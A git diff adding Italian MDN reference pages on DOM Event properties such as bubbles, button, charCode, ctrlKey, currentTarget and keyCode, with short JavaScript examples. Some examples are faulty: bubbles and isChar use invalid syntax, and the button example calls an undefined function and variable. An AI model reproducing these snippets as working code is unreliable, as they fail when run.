--- /dev/null
+++ b/files/it/web/api/event/bubbles/index.html
@@ -0,0 +1,31 @@
+---
+title: event.bubbles
+slug: Web/API/Event/bubbles
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Event/bubbles
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Indica se un dato evento può emergere attraverso il DOM oppure no.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>bool</i> = event.bubbles
+</pre>
+<p><code>bool</code> vale <code>true</code> se l'evento può emergere, altrimenti vale <code>false</code>.</p>
+<h3 id="Note" name="Note">Note</h3>
+<p>Solo alcuni eventi possono emergere. Tali eventi hanno questa proprietà impostata a <code>true</code>. E' possibile utilizzarla per controllare se un evento può emergere.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre> function leggiInput(e) {
+  // controlla se emerge
+  if not e.bubbles {
+     // in caso negativo, passa oltre
+     passaOltre(e);
+  }
+  // altrimenti emerge
+  scriviOutput(e)
+}
+</pre>
+<p>{{ languages( { "en": "en/DOM/event.bubbles", "pl": "pl/DOM/event.bubbles" } ) }}</p>
diff --git a/files/it/web/api/event/button/index.html b/files/it/web/api/event/button/index.html
new file mode 100644
index 0000000000..5862d54439
--- /dev/null
+++ b/files/it/web/api/event/button/index.html
@@ -0,0 +1,57 @@
+---
+title: event.button
+slug: Web/API/Event/button
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/MouseEvent/button
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce un intero che indica quale tasto del mouse è stato premuto.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre>var codiceBottone = event.button;
+</pre>
+<p>codiceBottone può assumere uno dei seguenti valori:</p>
+<ul>
+ <li>0 standard click, di solito il tasto sinistro</li>
+ <li>1 tasto centrale, che di solito è la rotella</li>
+ <li>2 tasto destro</li>
+</ul>
+<p>L'ordine dei bottoni è inverso se il mouse è configurato per l'utilizzo da parte dei mancini.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;script type="text/javascript"&gt;
+
+function qualeTasto(e)
+{
+  var e = e || window.event;
+  var codiceTasto;
+
+  if ('object' == typeof e){
+    codiceTasto = e.button;
+
+    switch (codiceTasto){
+      case 0  : alert('Hai premuto il tasto sinistro');
+                break;
+      case 1  : alert('Hai premuto il tasto centrale');
+                break;
+      case 2  : alert('Hai premuto il tasto destro');
+                break;
+      default : alert('Codice sconosciuto: ' + btnCode);
+    }
+  }
+}
+
+&lt;/script&gt;
+
+&lt;p onclick="qualeBottone(event);"&gt;Clicca con il mouse...&lt;/p&gt;
+
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Poichè i click del mouse spesso vengono intercettati dall'interfaccia utente, in alcuni casi potrebbe essere difficile rilevare la pressione di un bottone che non sia quello standard (generalmente il sinistro).</p>
+<p>Gli utenti possono cambiare la configurazione dei tasti del loro dispositivo di puntamento in modo tale che se il valore di codiceBottone è 0, questo non è causato dal tasto che si trova fisicamente a sinistra, ma questo non ha molta importanza.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>DOM 2 Events Specification: <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-MouseEvent-button">button</a></p>
+<p>{{ languages( { "en": "en/DOM/event.button", "pl": "pl/DOM/event.button" } ) }}</p>
diff --git a/files/it/web/api/event/cancelable/index.html b/files/it/web/api/event/cancelable/index.html
new file mode 100644
index 0000000000..3258a2b37d
--- /dev/null
+++ b/files/it/web/api/event/cancelable/index.html
@@ -0,0 +1,23 @@
+---
+title: event.cancelable
+slug: Web/API/Event/cancelable
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Event/cancelable
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Indica se è possibile cancellare la risposta predefinita di questo evento o meno.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>bool</i> =<i>event</i>.cancelable;
+</pre>
+<p><code>bool</code> vale <code>true</code> se l'evento è cancellabile, altrimenti <code>false</code>.</p>
+<h3 id="Note" name="Note">Note</h3>
+<p>Se un evento possa essere cancellato o meno, viene determinato al momento dell'inizializzazione dell'evento.</p>
+<p>Per cancellare un evento, si chiami il metodo <a href="it/DOM/event.preventDefault">preventDefault</a>. Questo impedisce al browser di eseguire l'azione di default associata a tale evento.</p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-canCancel">DOM Level 2 Events: cancelable</a></p>
+<p>{{ languages( { "en": "en/DOM/event.cancelable", "pl": "pl/DOM/event.cancelable" } ) }}</p>
diff --git a/files/it/web/api/event/charcode/index.html b/files/it/web/api/event/charcode/index.html
new file mode 100644
index 0000000000..fb785e722e
--- /dev/null
+++ b/files/it/web/api/event/charcode/index.html
@@ -0,0 +1,49 @@
+---
+title: event.charCode
+slug: Web/API/Event/charCode
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/KeyboardEvent/charCode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il valore Unicode del tasto carattere che è stato premuto e ha scatenato un evento <a href="it/DOM/element/keypress">keypress</a>.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>valore</i> = event.charCode
+</pre>
+<ul>
+ <li><code>valore</code> è il valore Unicode del carattere digitato</li>
+</ul>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio di charCode&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCarattere(e)
+{
+alert("Tasto premuto: " + String.fromCharCode(e.charCode) + "\n"
+      + "Codice carattere: " + e.charCode);
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="mostraCarattere(event);"&gt;
+&lt;p&gt;Premere un qualsiasi tasto carattere.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>In un evento <a href="it/DOM/event/keypress">keypress</a>, il valore Unicode del tasto premuto viene registrato nella proprietà <code><a href="it/DOM/event.keyCode">keyCode</a></code> oppure nella proprietà <code>charCode</code>, mai in entrambe. Se il tasto premuto corrisponde a un carattere (per esempio 'a'), <code>charCode</code> assume il valore Unicode di quel carattere (che è diverso per le maiuscole e per le minuscole). In caso contrario, il codice del tasto premuto viene registrato nella proprietà <code>keyCode</code>.</p>
+<p><code>charCode</code> non viene mai impostato durante gli eventi <a href="it/DOM/event/keydown">keydown</a> e <a href="it/DOM/event/keyup">keyup</a>. In questi casi, viene impostato <code>keyCode</code>.</p>
+<p>Per leggere il codice del tasto indipendentemente dal fatto che esso si trovi in <code>keyCode</code> o in <code>charCode</code>, si può utilizzare la proprietà <code><a href="it/DOM/event.which">which</a></code>.</p>
+<p>I caratteri inseriti attraverso un IME non vengono registrati nè in <code>keyCode</code> nè in <code>charCode</code>.</p>
+<p>Per una lista dei possibili valori di <code>charCode</code> e per conoscere i tasti ai quali sono associati, vedere l'esempio <a href="it/Reference_del_DOM_di_Gecko/Esempi#Example_7:_Mostrare_le_costanti_dell.27oggetto_Event">Reference del DOM di Gecko:Esempi #Example 7: Mostrare le costanti dell'oggetto Event</a>.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>Non è parte di alcuna specifica. Si veda <a href="it/NsIDOMKeyEvent">nsIDOMKeyEvent</a></p>
+<p>{{ languages( { "en": "en/DOM/event.charCode", "pl": "pl/DOM/event.charCode" } ) }}</p>
diff --git a/files/it/web/api/event/ctrlkey/index.html b/files/it/web/api/event/ctrlkey/index.html
new file mode 100644
index 0000000000..02fe7f82bf
--- /dev/null
+++ b/files/it/web/api/event/ctrlkey/index.html
@@ -0,0 +1,44 @@
+---
+title: event.ctrlKey
+slug: Web/API/Event/ctrlKey
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/MouseEvent/ctrlKey
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Indica se il tasto CTRL è stato premuto mentre l'evento si verificava.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>bool</i> = event.ctrlKey
+</pre>
+<p><code>bool</code> vale <code>true</code> se il tasto CTRL era premuto, altrimenti <code>false</code>.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio tasto control&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCarattere(e){
+  alert(
+    "Tasto premuto: " + String.fromCharCode(e.charCode) + "\n"
+    + "Codice carattere: " + e.charCode + "\n"
+    + "Tasto CTRL premuto: " + e.ctrlKey + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="mostraCarattere(event);"&gt;
+&lt;p&gt;Prova a premere un tasto tenendo premuto CTRL e prova a premere un tasto senza premere CTRL.&lt;br /&gt;
+Puoi anche provare a premere CTRL+SHIFT.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-ctrlKey">ctrlKey </a></p>
+<p>{{ languages( { "en": "en/DOM/event.ctrlKey", "pl": "pl/DOM/event.ctrlKey" } ) }}</p>
diff --git a/files/it/web/api/event/currenttarget/index.html b/files/it/web/api/event/currenttarget/index.html
new file mode 100644
index 0000000000..7fcc81f4b3
--- /dev/null
+++ b/files/it/web/api/event/currenttarget/index.html
@@ -0,0 +1,99 @@
+---
+title: Event.currentTarget
+slug: Web/API/Event/currentTarget
+translation_of: Web/API/Event/currentTarget
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Identifica l'elemento del DOM a cui è stato assegnato l'event handler diversamente dall' <code>event.target</code> che rappresenta l'elemento da cui è stato generato l'evento.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>L' <code>event.currentTarget </code>risulta utile da usare quando si assegna lo stesso event handler a numerosi elementi.</p>
+
+<pre class="brush: js">function hide(e){
+  e.currentTarget.style.visibility = "hidden";
+  // When this function is used as an event handler: this === e.currentTarget
+}
+
+var ps = document.getElementsByTagName('p');
+
+for(var i = 0; i &lt; ps.length; i++){
+  ps[i].addEventListener('click', hide, false);
+}
+
+// click around and make paragraphs disappear
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-currentTarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Il modello degli eventi implementato dagli Internet Explorer da 6 a 8 è diverso. Gli event listerner sono attaccati attraverso il metodo non standard <code>element.attachEvent. </code>In questo modello non esiste un equivalente dell' <code>event.currentTarget</code> inoltre <code>this</code> è l'oggetto globale. Una possibile soluzione è quella di wrappare la gestione dell' <code>event.currentTarget </code>in una funzione che chiami la funzione di handler attraverso la <code>Function.prototype.call</code> passando come primo parametro l'elemento. In questo modo il valore associato allo <code>this</code> è quello aspettato.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<p><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a></p>
diff --git a/files/it/web/api/event/eventphase/index.html b/files/it/web/api/event/eventphase/index.html
new file mode 100644
index 0000000000..d695a1451a
--- /dev/null
+++ b/files/it/web/api/event/eventphase/index.html
@@ -0,0 +1,19 @@
+---
+title: event.eventPhase
+slug: Web/API/Event/eventPhase
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Event/eventPhase
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Indica quale fase del flusso degli eventi è attualmente in elaborazione.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>fase</i> = event.eventPhase
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-eventPhase">eventPhase </a></p>
+<p>{{ languages( { "en": "en/DOM/event.eventPhase", "pl": "pl/DOM/event.eventPhase" } ) }}</p>
diff --git a/files/it/web/api/event/index.html b/files/it/web/api/event/index.html
new file mode 100644
index 0000000000..6ae75ff300
--- /dev/null
+++ b/files/it/web/api/event/index.html
@@ -0,0 +1,240 @@
+---
+title: event
+slug: Web/API/Event
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Event
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Introduzione" name="Introduzione">Introduzione</h3>
+<p>Questo capitolo descrive il modello degli eventi del DOM Level 2 così come è implementato in <a href="it/Gecko">Gecko</a>. Viene descritta l'interfaccia <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Event</a>, così come le interfacce per la registrazione di eventi per i nodi del DOM, i gestori di eventi, i listener e diversi esempi che mostrano come le interfacce dei diversi eventi si relazionano tra loro.</p>
+<p>Vi è un diagramma eccellente che spiega chiaramente le tre fasi del flusso degli eventi nella <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-flow">bozza di DOM Level 3</a>.</p>
+<h4 id="L.27interfaccia_Event" name="L.27interfaccia_Event">L'interfaccia <code>Event</code></h4>
+<p>I gestori degli eventi possono essere assegnati a vari elementi DOM. Quando un dato evento si verifica, un oggetto evento viene creato dinamicamente e passato agli event listener che permettono di gestirlo. L'interfaccia <code>Event</code> del DOM è quindi accessibile dalla funzione che gestisce l'evento, alla quale viene passato un oggetto evento come primo e unico argomento.</p>
+<p>Vi sono tre modi di assegnare un listener a un elemento. Con due di queste tecniche, l'oggetto evento viene passato implicitamente alla funzione che gestisce l'evento. Con la terza tecnica, occorre passare esplicitamente l'oggetto evento come parametro.</p>
+<p>L'esempio seguente mostra come un oggetto evento viene passato a tale funzione e come può essere utilizzato all'interno della funzione.</p>
+<p>Si noti che nel codice non viene passato alcun parametro "evt". L'oggetto evento viene passato automaticamente a <code>foo</code>. Tutto ciò che occorre fare è definire un parametro nel gestore di eventi che riceva l'oggetto evento.</p>
+<pre>function foo(evt) {
+  // le funzioni per la gestione degli eventi come questa
+  // ricevono un riferimento implicito all'oggetto evento che gestiscono
+  // (in questo caso abbiamo scelto di chiamarlo "evt").
+  alert(evt);
+}
+elementoTabella.onclick = foo;
+</pre>
+<p>Questo esempio è molto semplice, ma mostra una caratteristica importante degli eventi nel DOM di Gecko, cioè che è possibile accedere all'oggetto evento dalla funzione gestore. Una volta che si ha un riferimento a un evento, si può accedere a tutte le proprietà e ai metodi descritti in questo capitolo.</p>
+<h4 id="Gestori_degli_eventi_DOM" name="Gestori_degli_eventi_DOM">Gestori degli eventi DOM</h4>
+<p>Oltre all'oggetto <code>event</code> qui descritto, il DOM di Gecko fornisce anche metodi per la registrazione dei listener sui nodi del DOM, la rimozione di questi listeners ed eliminare gli eventi dal DOM. Questi event listener sugli elementi HTML o XML sono i modi principali per accedere agli eventi. Questi tre metodi sono descritti nella lista sottostante.</p>
+<p>Si può anche passare un riferimento all'oggetto evento sotto forma di un parametro definito, chiamato <code>event</code>, alla funzione che gestisce l'evento. Il funzionamento è molto simile a quello della parola chiave <code>this</code>.</p>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio sul parametro evento&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCoordinate(evt){
+  alert(
+    "valore clientX: " + evt.clientX + "\n" +
+    "valore clientY: " + evt.clientY + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="mostraCoordinate(event)"&gt;
+&lt;p&gt;Per conoscere le coordinate della posizione del mouse, clicca in qualunque punto di questa pagina.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>Utilizzando l'oggetto <code>event</code> predefinito è possibile passare altri parametri alla funzione, come mostrato nel seguente esempio:</p>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio sul parametro evento + parametri extra&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+var par2 = 'ciao';
+var par3 = 'mondo!';
+
+function mostraCoordinate(evt, p2, p3){
+  alert(
+    "valore clientX: " + evt.clientX + "\n"
+    + "valore clientY: " + evt.clientY + "\n"
+    + "parametro 2: " + p2 + "\n"
+    + "parametro 3: " + p3 + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="mostraCoordinate(event, par2, par3)"&gt;
+&lt;p&gt;Per conoscere le coordinate della posizione del mouse e visualizzare un saluto al mondo, clicca in qualunque punto di questa pagina.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Propriet.C3.A0" name="Propriet.C3.A0">Proprietà</h3>
+<dl>
+ <dt>
+  <a href="it/DOM/event.altKey">event.altKey</a></dt>
+ <dd>
+  Restituisce un booleano che indica se il tasto <code>&lt;alt&gt;</code> è stato premuto durante l'evento.</dd>
+ <dt>
+  <a href="it/DOM/event.bubbles">event.bubbles</a></dt>
+ <dd>
+  Restituisce un booleano che indica se l'evento emerge dal DOM.</dd>
+ <dt>
+  <a href="it/DOM/event.button">event.button</a></dt>
+ <dd>
+  Restituisce un intero che indica quale tasto del mouse è stato premuto.</dd>
+ <dt>
+  <a href="it/DOM/event.cancelBubble">event.cancelBubble</a></dt>
+ <dd>
+  {{ Deprecated_inline() }} Restituisce un booleano che indica se l'evento è stato cancellato.</dd>
+ <dt>
+  <a href="it/DOM/event.cancelable">event.cancelable</a></dt>
+ <dd>
+  Restituisce un booleano che indica se l'evento è cancellabile.</dd>
+ <dt>
+  <a href="it/DOM/event.charCode">event.charCode</a></dt>
+ <dd>
+  Restituisce il tasto carattere che è stato premuto e che ha scatenato l'evento <a href="it/DOM/event/keypress">keypress</a>.</dd>
+ <dt>
+  <a href="it/DOM/event.clientX">event.clientX</a></dt>
+ <dd>
+  Restituisce la posizione orizzontale del puntatore del mouse.</dd>
+ <dt>
+  <a href="it/DOM/event.clientY">event.clientY</a></dt>
+ <dd>
+  Restituisce la posizione verticale del puntatore del mouse.</dd>
+ <dt>
+  <a href="it/DOM/event.ctrlKey">event.ctrlKey</a></dt>
+ <dd>
+  Restituisce un booleano che indica se il tasto <code>&lt;ctrl&gt;</code> è stato premuto durante l'evento.</dd>
+ <dt>
+  <a href="it/DOM/event.currentTarget">event.currentTarget</a></dt>
+ <dd>
+  Restituisce un riferimento all'elemento a cui appartiene l'evento.</dd>
+ <dt>
+  <a href="it/DOM/event.detail">event.detail</a></dt>
+ <dd>
+  Restituisce alcuni dettagli sull'evento.</dd>
+ <dt>
+  <a href="it/DOM/event.eventPhase">event.eventPhase</a></dt>
+ <dd>
+  Indica in quale fase si trova il flusso dell'elaborazione degli eventi.</dd>
+ <dt>
+  <a href="it/DOM/event.explicitOriginalTarget">event.explicitOriginalTarget</a></dt>
+ <dd>
+  Restituisce l'elemento dal quale ha avuto origine l'evento (solo Mozilla).</dd>
+ <dt>
+  <a href="it/DOM/event.isChar">event.isChar</a></dt>
+ <dd>
+  Restituisce un booleano che indica se l'evento è stato causato dalla pressione di un tasto carattere.</dd>
+ <dt>
+  <a href="it/DOM/event.keyCode">event.keyCode</a></dt>
+ <dd>
+  Restituisce un valore Unicode per un tasto non carattere che è stato premuto.</dd>
+ <dt>
+  <a href="it/DOM/event.layerX">event.layerX</a></dt>
+ <dd>
+  Restituisce la coordinata orizzontale relativa al layer corrente.</dd>
+ <dt>
+  <a href="it/DOM/event.layerY">event.layerY</a></dt>
+ <dd>
+  Restituisce la coordinata verticale relativa al layer corrente.</dd>
+ <dt>
+  <a href="it/DOM/event.metaKey">event.metaKey</a></dt>
+ <dd>
+  Restituisce un booleano che indica se il tasto <code>meta</code> è stato premuto durante l'evento.</dd>
+ <dt>
+  <a href="it/DOM/event.originalTarget">event.originalTarget</a></dt>
+ <dd>
+  Restituisce l'elemento dal quale ha avuto origine l'evento (solo Mozilla).</dd>
+ <dt>
+  <a href="it/DOM/event.pageX">event.pageX</a></dt>
+ <dd>
+  Restituisce la coordinata orizzontale relativa alla pagina.</dd>
+ <dt>
+  <a href="it/DOM/event.pageY">event.pageY</a></dt>
+ <dd>
+  Restituisce la coordinata verticale relativa alla pagina.</dd>
+ <dt>
+  <a href="it/DOM/event.relatedTarget">event.relatedTarget</a></dt>
+ <dd>
+  Identifica un elemento secondario legato all'evento.</dd>
+ <dt>
+  <a href="it/DOM/event.screenX">event.screenX</a></dt>
+ <dd>
+  Restituisce la posizione orizzontale relativa allo schermo.</dd>
+ <dt>
+  <a href="it/DOM/event.screenY">event.screenY</a></dt>
+ <dd>
+  Restituisce la posizione verticale relativa allo schermo.</dd>
+ <dt>
+  <a href="it/DOM/event.shiftKey">event.shiftKey</a></dt>
+ <dd>
+  Restituisce un booleano che indica se il tasto <code>&lt;shift&gt;</code> è stato premuto durante l'evento.</dd>
+ <dt>
+  <a href="it/DOM/event.target">event.target</a></dt>
+ <dd>
+  Restituisce un riferimento all'elemento al quale l'evento era legato originariamente.</dd>
+ <dt>
+  <a href="it/DOM/event.timeStamp">event.timeStamp</a></dt>
+ <dd>
+  Restituisce il timestamp nel quale l'evento è stato scatenato.</dd>
+ <dt>
+  <a href="it/DOM/event.type">event.type</a></dt>
+ <dd>
+  Restituisce il nome dell'evento (case-insensitive).</dd>
+ <dt>
+  <a href="it/DOM/event.view">event.view</a></dt>
+ <dd>
+  Identifica l'<code>AbstractView</code> dal quale l'evento è stato generato.</dd>
+ <dt>
+  <a href="it/DOM/event.which">event.which</a></dt>
+ <dd>
+  Restituisce il valore Unicode del tasto che è stato premuto, indipendentemente da quale tipo di tasto sia stato premuto.</dd>
+</dl>
+<h3 id="Metodi" name="Metodi">Metodi</h3>
+<dl>
+ <dt>
+  <a href="it/DOM/event.initEvent">event.initEvent</a></dt>
+ <dd>
+  Inizializza il valore di un evento che è stato creato tramite l'interfaccia <code>DocumentEvent</code>.</dd>
+ <dt>
+  <a href="it/DOM/event.initKeyEvent">event.initKeyEvent</a></dt>
+ <dd>
+  Inizializza un evento legato alla tastiera (specifico di Gecko).</dd>
+ <dt>
+  <a href="it/DOM/event.initMouseEvent">event.initMouseEvent</a></dt>
+ <dd>
+  Inizializza un evento legato al mouse</dd>
+ <dt>
+  <a href="it/DOM/event.initUIEvent">event.initUIEvent</a></dt>
+ <dd>
+  Inizializza un evento legato all'interfaccia utente</dd>
+ <dt>
+  <a href="it/DOM/event.preventBubble">event.preventBubble</a></dt>
+ <dd>
+  {{ Obsolete_inline() }} Previene l'emergere di un evento. Questo metodo è deprecato in favore dello standard <a href="it/DOM/event.stopPropagation">stopPropagation</a> ed è stato rimosso in Gecko 1.9.</dd>
+ <dt>
+  <a href="it/DOM/event.preventCapture">event.preventCapture</a></dt>
+ <dd>
+  {{ Obsolete_inline() }} Questo metodo è deprecato in favore dello standard <a href="it/DOM/event.stopPropagation">stopPropagation</a> ed è stato rimosso in Gecko 1.9.</dd>
+ <dt>
+  <a href="it/DOM/event.preventDefault">event.preventDefault</a></dt>
+ <dd>
+  Cancella l'evento (se è cancellabile).</dd>
+ <dt>
+  <a href="it/DOM/event.stopPropagation">event.stopPropagation</a></dt>
+ <dd>
+  Arresta un'ulteriore propagazione degli eventi DOM.</dd>
+</dl>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/event", "es": "es/DOM/event", "fr": "fr/DOM/event", "pl": "pl/DOM/event" } ) }}</p>
diff --git a/files/it/web/api/event/ischar/index.html b/files/it/web/api/event/ischar/index.html
new file mode 100644
index 0000000000..ae1edd3975
--- /dev/null
+++ b/files/it/web/api/event/ischar/index.html
@@ -0,0 +1,30 @@
+---
+title: event.isChar
+slug: Web/API/Event/isChar
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/UIEvent/isChar
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce un booleano che indica se è stato premuto un tasto carattere o meno.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>bool</i> = event.isChar
+</pre>
+<ul>
+ <li><code>bool</code> vale <code>true</code> se il tasto premuto è un tasto carattere, altrimenti <code>false</code></li>
+</ul>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre> if e.isChar
+   ripetiInput(e.type);
+ }
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Alcune combinazioni di tasti potrebbero produrre degli eventi ma non produrre alcun carattere (per esempio CTRL+b). Quando questo accade, <code>isChar</code> restituisce <code>false</code>.</p>
+<p><b>Attenzione:</b> attualmente <code>isChar</code> è afflitto da un <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312552">bug</a>, a causa del quale il risultato è sempre <code>false</code>. Gli sviluppatori di Mozilla potrebbero correggere questo bug, ma potrebbero anche decidere di eliminare questa proprietà non standard.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>Non è parte di alcuna specifica.</p>
+<p>{{ languages( { "en": "en/DOM/event.isChar", "pl": "pl/DOM/event.isChar" } ) }}</p>
diff --git a/files/it/web/api/event/keycode/index.html b/files/it/web/api/event/keycode/index.html
new file mode 100644
index 0000000000..d1d69dec46
--- /dev/null
+++ b/files/it/web/api/event/keycode/index.html
@@ -0,0 +1,48 @@
+---
+title: event.keyCode
+slug: Web/API/Event/keyCode
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/KeyboardEvent/keyCode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il valore Unicode di un tasto non-carattere che è stato premuto scatenando un evento <a href="it/DOM/event/keypress">keypress</a>, oppure il valore di qualsiasi tasto premuto scatenando un qualsiasi altro evento relativo alla tastiera.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>valore</i> = event.keyCode
+</pre>
+<ul>
+ <li><code>valore</code> è il codice Unicode del tasto premuto.</li>
+</ul>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio di keyCode&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCodiceTasto(e)
+{
+alert("Codice del tasto premuto: " + e.keyCode + "\n");
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeydown="mostraCodiceTasto(event);"&gt;
+&lt;p&gt;Premere un tasto qualsiasi.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Note" name="Note">Note</h3>
